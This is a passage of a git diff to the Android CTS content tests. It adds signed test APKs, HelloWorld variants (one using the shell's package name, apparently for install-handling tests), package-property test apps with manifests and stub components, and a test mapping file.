+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk.idsig" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4.apk-Sha512withEC.idsig" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4-Verity.apk" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4-Verity.apk" />
+        <option name="push-file" key="CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig" value="/data/local/tmp/cts/content/CtsPkgInstallTinyAppV2V3V4-Verity.apk.idsig" />
+        <option name="push-file" key="HelloWorld5.digests" value="/data/local/tmp/cts/content/HelloWorld5.digests" />
+        <option name="push-file" key="HelloWorld5.digests.signature" value="/data/local/tmp/cts/content/HelloWorld5.digests.signature" />
+        <option name="push-file" key="HelloWorld5_hdpi-v4.digests" value="/data/local/tmp/cts/content/HelloWorld5_hdpi-v4.digests" />
+        <option name="push-file" key="HelloWorld5_hdpi-v4.digests.signature" value="/data/local/tmp/cts/content/HelloWorld5_hdpi-v4.digests.signature" />
+        <option name="push-file" key="HelloWorld5_mdpi-v4.digests" value="/data/local/tmp/cts/content/HelloWorld5_mdpi-v4.digests" />
+        <option name="push-file" key="HelloWorld5_mdpi-v4.digests.signature" value="/data/local/tmp/cts/content/HelloWorld5_mdpi-v4.digests.signature" />
+        <option name="push-file" key="test-cert.x509.pem" value="/data/local/tmp/cts/content/test-cert.x509.pem" />
+
+    </target_preparer>
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
index 67d20f9..acb5e66 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/AndroidManifest.xml
@@ -15,27 +15,27 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.content">
+     package="com.android.cts.content">
 
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name=".StubActivity"/>
 
-        <service android:name=".AlwaysSyncableSyncService">
+        <service android:name=".AlwaysSyncableSyncService"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.content.SyncAdapter"/>
             </intent-filter>
             <meta-data android:name="android.content.SyncAdapter"
-                   android:resource="@xml/syncadapter" />
+                 android:resource="@xml/syncadapter"/>
         </service>
 
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.content" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.content"/>
 
 </manifest>
diff --git a/tests/tests/content/DirectBootUnawareTestApp/AndroidManifest.xml b/tests/tests/content/DirectBootUnawareTestApp/AndroidManifest.xml
index 58b98c2..e8075c7 100644
--- a/tests/tests/content/DirectBootUnawareTestApp/AndroidManifest.xml
+++ b/tests/tests/content/DirectBootUnawareTestApp/AndroidManifest.xml
@@ -22,5 +22,7 @@
 
     <application
         android:hasCode="false"
-        android:label="Direct Boot Unaware Test App" />
+        android:label="Direct Boot Unaware Test App"
+        android:appCategory="accessibility"
+    />
 </manifest>
diff --git a/tests/tests/content/HelloWorldApp/Android.bp b/tests/tests/content/HelloWorldApp/Android.bp
index db42d4b..0cbb64a 100644
--- a/tests/tests/content/HelloWorldApp/Android.bp
+++ b/tests/tests/content/HelloWorldApp/Android.bp
@@ -50,6 +50,21 @@
 
 //-----------------------------------------------------------
 android_test {
+    name: "HelloWorld5Profileable",
+    defaults: ["hello_world_defaults"],
+    srcs: ["src5/**/*.java"],
+    manifest: "AndroidManifestProfileable.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    v4_signature: true,
+}
+
+//-----------------------------------------------------------
+android_test {
     name: "HelloWorld7",
     defaults: ["hello_world_defaults"],
     srcs: ["src7/**/*.java"],
@@ -60,3 +75,18 @@
     ],
     v4_signature: true,
 }
+
+//-----------------------------------------------------------
+android_test {
+    name: "HelloWorldShell",
+    defaults: ["hello_world_defaults"],
+    srcs: ["src_shell/**/*.java"],
+    manifest: "AndroidManifestShell.xml",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+    v4_signature: true,
+}
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifest.xml b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
index f195701..875c27a 100644
--- a/tests/tests/content/HelloWorldApp/AndroidManifest.xml
+++ b/tests/tests/content/HelloWorldApp/AndroidManifest.xml
@@ -1,25 +1,25 @@
 <?xml version="1.0" encoding="utf-8"?>
+
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.example.helloworld">
+     package="com.example.helloworld">
 
-    <application
-        android:allowBackup="true"
-        android:debuggable="true"
-        android:icon="@mipmap/ic_launcher"
-        android:label="@string/app_name"
-        android:roundIcon="@mipmap/ic_launcher_round"
-        android:supportsRtl="true"
-        android:theme="@style/AppTheme">
-        <activity
-            android:name=".MainActivity"
-            android:label="@string/app_name"
-            android:theme="@style/AppTheme.NoActionBar">
+    <application android:allowBackup="true"
+         android:debuggable="true"
+         android:icon="@mipmap/ic_launcher"
+         android:label="@string/app_name"
+         android:roundIcon="@mipmap/ic_launcher_round"
+         android:supportsRtl="true"
+         android:theme="@style/AppTheme">
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:theme="@style/AppTheme.NoActionBar"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
 
-                <category android:name="android.intent.category.LAUNCHER" />
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifestProfileable.xml b/tests/tests/content/HelloWorldApp/AndroidManifestProfileable.xml
new file mode 100644
index 0000000..0410a4b
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/AndroidManifestProfileable.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.example.helloworld">
+
+    <application android:allowBackup="true"
+         android:debuggable="false"
+         android:icon="@mipmap/ic_launcher"
+         android:label="@string/app_name"
+         android:roundIcon="@mipmap/ic_launcher_round"
+         android:supportsRtl="true"
+         android:theme="@style/AppTheme">
+        <profileable android:shell="true"/>
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:theme="@style/AppTheme.NoActionBar"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
diff --git a/tests/tests/content/HelloWorldApp/AndroidManifestShell.xml b/tests/tests/content/HelloWorldApp/AndroidManifestShell.xml
new file mode 100644
index 0000000..c42546a
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/AndroidManifestShell.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.shell">
+
+    <application android:allowBackup="true"
+         android:debuggable="true"
+         android:icon="@mipmap/ic_launcher"
+         android:label="@string/app_name"
+         android:roundIcon="@mipmap/ic_launcher_round"
+         android:supportsRtl="true"
+         android:theme="@style/AppTheme">
+        <profileable android:shell="true"/>
+        <activity android:name=".MainActivity"
+             android:label="@string/app_name"
+             android:theme="@style/AppTheme.NoActionBar"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
diff --git a/tests/tests/content/HelloWorldApp/res/drawable-hdpi/background.jpg b/tests/tests/content/HelloWorldApp/res/drawable-hdpi/background.jpg
new file mode 100644
index 0000000..1c466ae
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/drawable-hdpi/background.jpg
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/drawable-mdpi/background.jpg b/tests/tests/content/HelloWorldApp/res/drawable-mdpi/background.jpg
new file mode 100644
index 0000000..1c466ae
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/res/drawable-mdpi/background.jpg
Binary files differ
diff --git a/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml b/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml
index eed4d89..90de1fc 100644
--- a/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml
+++ b/tests/tests/content/HelloWorldApp/res/layout/activity_main.xml
@@ -4,6 +4,7 @@
     xmlns:tools="http://schemas.android.com/tools"
     android:layout_width="match_parent"
     android:layout_height="match_parent"
+    android:background="@drawable/background"
     tools:context=".MainActivity">
 
     <android.support.design.widget.AppBarLayout
diff --git a/tests/tests/content/HelloWorldApp/src_shell/com/android/shell/MainActivity.java b/tests/tests/content/HelloWorldApp/src_shell/com/android/shell/MainActivity.java
new file mode 100644
index 0000000..d771f8d
--- /dev/null
+++ b/tests/tests/content/HelloWorldApp/src_shell/com/android/shell/MainActivity.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.shell;
+
+import android.os.Bundle;
+import android.view.Menu;
+import android.view.MenuItem;
+
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.appcompat.widget.Toolbar;
+
+public class MainActivity extends AppCompatActivity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.activity_main);
+        Toolbar toolbar = findViewById(R.id.toolbar);
+        setSupportActionBar(toolbar);
+        System.exit(1);
+    }
+
+    @Override
+    public boolean onCreateOptionsMenu(Menu menu) {
+        // Inflate the menu; this adds items to the action bar if it is present.
+        getMenuInflater().inflate(R.menu.menu_main, menu);
+        return true;
+    }
+
+    @Override
+    public boolean onOptionsItemSelected(MenuItem item) {
+        // Handle action bar item clicks here. The action bar will
+        // automatically handle clicks on the Home/Up button, so long
+        // as you specify a parent activity in AndroidManifest.xml.
+        int id = item.getItemId();
+
+        //noinspection SimplifiableIfStatement
+        if (id == R.id.action_settings) {
+            return true;
+        }
+
+        return super.onOptionsItemSelected(item);
+    }
+}
diff --git a/tests/tests/content/PackagePropertyTestApp/Android.bp b/tests/tests/content/PackagePropertyTestApp/Android.bp
new file mode 100644
index 0000000..ae60f01
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/Android.bp
@@ -0,0 +1,59 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "PackagePropertyTestApp1",
+    sdk_version: "current",
+    srcs: ["**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    resource_dirs: ["res"],
+    manifest: "AndroidManifest1.xml",
+}
+
+android_test_helper_app {
+    name: "PackagePropertyTestApp2",
+    sdk_version: "current",
+    srcs: ["**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    resource_dirs: ["res"],
+    manifest: "AndroidManifest2.xml",
+}
+
+android_test_helper_app {
+    name: "PackagePropertyTestApp3",
+    sdk_version: "current",
+    srcs: ["**/*.java"],
+    dex_preopt: {
+        enabled: false,
+    },
+    optimize: {
+        enabled: false,
+    },
+    resource_dirs: ["res"],
+    manifest: "AndroidManifest3.xml",
+}
diff --git a/tests/tests/content/PackagePropertyTestApp/AndroidManifest1.xml b/tests/tests/content/PackagePropertyTestApp/AndroidManifest1.xml
new file mode 100644
index 0000000..01eab2e
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/AndroidManifest1.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.packagepropertyapp1" >
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <property android:name="android.cts.PROPERTY_RESOURCE_XML" android:resource="@xml/xml_property" />
+        <property android:name="android.cts.PROPERTY_RESOURCE_INTEGER" android:resource="@integer/integer_property" />
+        <property android:name="android.cts.PROPERTY_BOOLEAN" android:value="true" />
+        <property android:name="android.cts.PROPERTY_BOOLEAN_VIA_RESOURCE" android:value="@bool/boolean_property" />
+        <property android:name="android.cts.PROPERTY_FLOAT" android:value="3.14" />
+        <property android:name="android.cts.PROPERTY_FLOAT_VIA_RESOURCE" android:value="@dimen/float_property" />
+        <property android:name="android.cts.PROPERTY_INTEGER" android:value="42" />
+        <property android:name="android.cts.PROPERTY_INTEGER_VIA_RESOURCE" android:value="@integer/integer_property" />
+        <property android:name="android.cts.PROPERTY_STRING" android:value="koala" />
+        <property android:name="android.cts.PROPERTY_STRING_VIA_RESOURCE" android:value="@string/string_property" />
+
+	    <activity android:name="com.android.cts.packagepropertyapp.MyActivity"
+	              android:exported="true" >
+	        <property android:name="android.cts.PROPERTY_ACTIVITY" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_COMPONENT" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_STRING" android:value="koala activity" />
+	        <intent-filter>
+	           <action android:name="android.intent.action.MAIN" />
+	           <category android:name="android.intent.category.LAUNCHER" />
+	        </intent-filter>
+	    </activity>
+	    <activity-alias android:name="com.android.cts.packagepropertyapp.MyActivityAlias"
+	                    android:targetActivity="com.android.cts.packagepropertyapp.MyActivity">
+	        <property android:name="android.cts.PROPERTY_ACTIVITY_ALIAS" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_COMPONENT" android:value="@integer/integer_property" />
+	    </activity-alias>
+	    <provider android:name="com.android.cts.packagepropertyapp.MyProvider"
+	             android:authorities="propertytest1">
+	        <property android:name="android.cts.PROPERTY_PROVIDER" android:value="@integer/integer_property" />
+	    </provider>
+	    <receiver android:name="com.android.cts.packagepropertyapp.MyReceiver">
+	        <property android:name="android.cts.PROPERTY_RECEIVER" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_STRING" android:value="koala receiver" />
+	    </receiver>
+	    <service android:name="com.android.cts.packagepropertyapp.MyService">
+	        <property android:name="android.cts.PROPERTY_SERVICE" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_COMPONENT" android:resource="@integer/integer_property" />
+	    </service>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.packagepropertyapp1" />
+</manifest>
diff --git a/tests/tests/content/PackagePropertyTestApp/AndroidManifest2.xml b/tests/tests/content/PackagePropertyTestApp/AndroidManifest2.xml
new file mode 100644
index 0000000..00ff1ce
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/AndroidManifest2.xml
@@ -0,0 +1,60 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.packagepropertyapp2" >
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <property android:name="android.cts.PROPERTY_RESOURCE_XML" android:resource="@xml/xml_property" />
+        <property android:name="android.cts.PROPERTY_BOOLEAN" android:value="true" />
+        <property android:name="android.cts.PROPERTY_FLOAT" android:value="3.14" />
+        <property android:name="android.cts.PROPERTY_INTEGER" android:value="42" />
+        <property android:name="android.cts.PROPERTY_STRING" android:value="koala" />
+        <property android:name="android.cts.PROPERTY_STRING2" android:value="@string/string_property" />
+
+	    <activity android:name="com.android.cts.packagepropertyapp.MyActivity"
+	              android:exported="true" >
+	        <property android:name="android.cts.PROPERTY_ACTIVITY" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_STRING" android:value="@string/string_property" />
+	        <intent-filter>
+	           <action android:name="android.intent.action.MAIN" />
+	           <category android:name="android.intent.category.LAUNCHER" />
+	        </intent-filter>
+	    </activity>
+	    <activity-alias android:name="com.android.cts.packagepropertyapp.MyActivityAlias"
+	                    android:targetActivity="com.android.cts.packagepropertyapp.MyActivity">
+	        <property android:name="android.cts.PROPERTY_ACTIVITY_ALIAS" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_COMPONENT" android:value="@bool/boolean_property" />
+	    </activity-alias>
+	    <provider android:name="com.android.cts.packagepropertyapp.MyProvider"
+	             android:authorities="propertytest2">
+	        <property android:name="android.cts.PROPERTY_PROVIDER" android:value="@string/string_property" />
+	    </provider>
+	    <receiver android:name="com.android.cts.packagepropertyapp.MyReceiver">
+	        <property android:name="android.cts.PROPERTY_RECEIVER" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_STRING" android:value="koala receiver" />
+	    </receiver>
+	    <service android:name="com.android.cts.packagepropertyapp.MyService">
+	        <property android:name="android.cts.PROPERTY_SERVICE" android:value="@integer/integer_property" />
+	        <property android:name="android.cts.PROPERTY_COMPONENT" android:value="@integer/integer_property" />
+	    </service>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.packagepropertyapp2" />
+</manifest>
diff --git a/tests/tests/content/PackagePropertyTestApp/AndroidManifest3.xml b/tests/tests/content/PackagePropertyTestApp/AndroidManifest3.xml
new file mode 100644
index 0000000..51af5ac
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/AndroidManifest3.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.packagepropertyapp1" >
+    <application>
+      <uses-library android:name="android.test.runner" />
+        <activity android:name="com.android.cts.packagepropertyapp.MyActivity"
+                  android:exported="true" >
+          <intent-filter>
+            <action android:name="android.intent.action.MAIN" />
+            <category android:name="android.intent.category.LAUNCHER" />
+          </intent-filter>
+        </activity>
+        <activity-alias android:name="com.android.cts.packagepropertyapp.MyActivityAlias"
+                        android:targetActivity="com.android.cts.packagepropertyapp.MyActivity" />
+        <provider android:name="com.android.cts.packagepropertyapp.MyProvider"
+                  android:authorities="propertytest1" />
+        <receiver android:name="com.android.cts.packagepropertyapp.MyReceiver" />
+        <service android:name="com.android.cts.packagepropertyapp.MyService" />
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.packagepropertyapp1" />
+</manifest>
diff --git a/tests/tests/content/PackagePropertyTestApp/res/values/values.xml b/tests/tests/content/PackagePropertyTestApp/res/values/values.xml
new file mode 100644
index 0000000..67ecf66
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/res/values/values.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
+    <bool name="config_isIsolated">true</bool>
+    <bool name="boolean_property">true</bool>
+    <color name="color_property">#00FF00</color>
+    <item name="float_property" format="float" type="dimen">2.718</item>
+    <dimen name="dimen_property">23dp</dimen>
+    <integer name="integer_property">123</integer>
+    <string name="string_property">giraffe</string>
+</resources>
diff --git a/tests/tests/content/PackagePropertyTestApp/res/xml/xml_property.xml b/tests/tests/content/PackagePropertyTestApp/res/xml/xml_property.xml
new file mode 100644
index 0000000..588db8d
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/res/xml/xml_property.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<paths>
+    <external-path path="Android/data/" name="files_root" />
+    <external-path path="." name="external_storage_root" />
+</paths>
diff --git a/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/MyProvider.java b/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/MyProvider.java
new file mode 100644
index 0000000..0a60581
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/MyProvider.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagepropertyapp;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.Uri;
+
+public class MyProvider extends ContentProvider {
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        return null;
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        return "text/plain";
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        return null;
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        return 0;
+    }
+
+}
diff --git a/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/TestActivity.java b/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/TestActivity.java
new file mode 100644
index 0000000..b5f2f1c
--- /dev/null
+++ b/tests/tests/content/PackagePropertyTestApp/src/com/android/cts/packagepropertyapp/TestActivity.java
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packagepropertyapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+public class TestActivity extends Activity {
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        finish();
+    }
+}
diff --git a/tests/tests/content/SyncAccountAccessStubs/AndroidManifest.xml b/tests/tests/content/SyncAccountAccessStubs/AndroidManifest.xml
index a0dee84..8423733 100644
--- a/tests/tests/content/SyncAccountAccessStubs/AndroidManifest.xml
+++ b/tests/tests/content/SyncAccountAccessStubs/AndroidManifest.xml
@@ -15,31 +15,28 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.stub">
+     package="com.android.cts.stub">
 
     <application>
-        <service
-                android:name=".StubAuthenticator">
+        <service android:name=".StubAuthenticator"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.accounts.AccountAuthenticator"/>
             </intent-filter>
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator" />
+            <meta-data android:name="android.accounts.AccountAuthenticator"
+                 android:resource="@xml/authenticator"/>
         </service>
 
-        <provider
-            android:name=".StubProvider"
-            android:authorities="com.android.cts.stub.provider"
-            android:exported="true"
-            android:syncable="true">
+        <provider android:name=".StubProvider"
+             android:authorities="com.android.cts.stub.provider"
+             android:exported="true"
+             android:syncable="true">
         </provider>
 
-        <provider
-            android:name=".StubProvider2"
-            android:authorities="com.android.cts.stub.provider2"
-            android:exported="true"
-            android:syncable="true">
+        <provider android:name=".StubProvider2"
+             android:authorities="com.android.cts.stub.provider2"
+             android:exported="true"
+             android:syncable="true">
         </provider>
 
     </application>
diff --git a/tests/tests/content/TEST_MAPPING b/tests/tests/content/TEST_MAPPING
new file mode 100644
index 0000000..ed0ac34
--- /dev/null
+++ b/tests/tests/content/TEST_MAPPING
@@ -0,0 +1,30 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsContentTestCases",
+      "options": [
+        {
+          "exclude-annotation": "androidx.test.filters.FlakyTest"
+        },
+        {
+          "exclude-annotation": "org.junit.Ignore"
+        },
+        {
+          "include-filter": "android.content.pm.cts"
+        }
+      ]
+    },
+    {
+      "name": "FrameworksCoreTests",
+      "options": [
+        {
+          "include-filter": "android.content.pm.PackageManagerTests"
+        },
+        {
+          "exclude-annotation": "androidx.test.filters.Suppress"
+        }
+      ]
+    }
+  ]
+}
+
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV1.apk b/tests/tests/content/data/CtsPkgInstallTinyAppV1.apk
new file mode 100644
index 0000000..6b6d3d6
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV1.apk
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk
new file mode 100644
index 0000000..b692269
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk.idsig b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk.idsig
new file mode 100644
index 0000000..311a2ae
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Sha512withEC.apk.idsig
Binary files differ
diff --git a/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk
new file mode 100644
index 0000000..90353f0
--- /dev/null
+++ b/tests/tests/content/data/CtsPkgInstallTinyAppV2V3V4-Verity.apk
Binary files differ
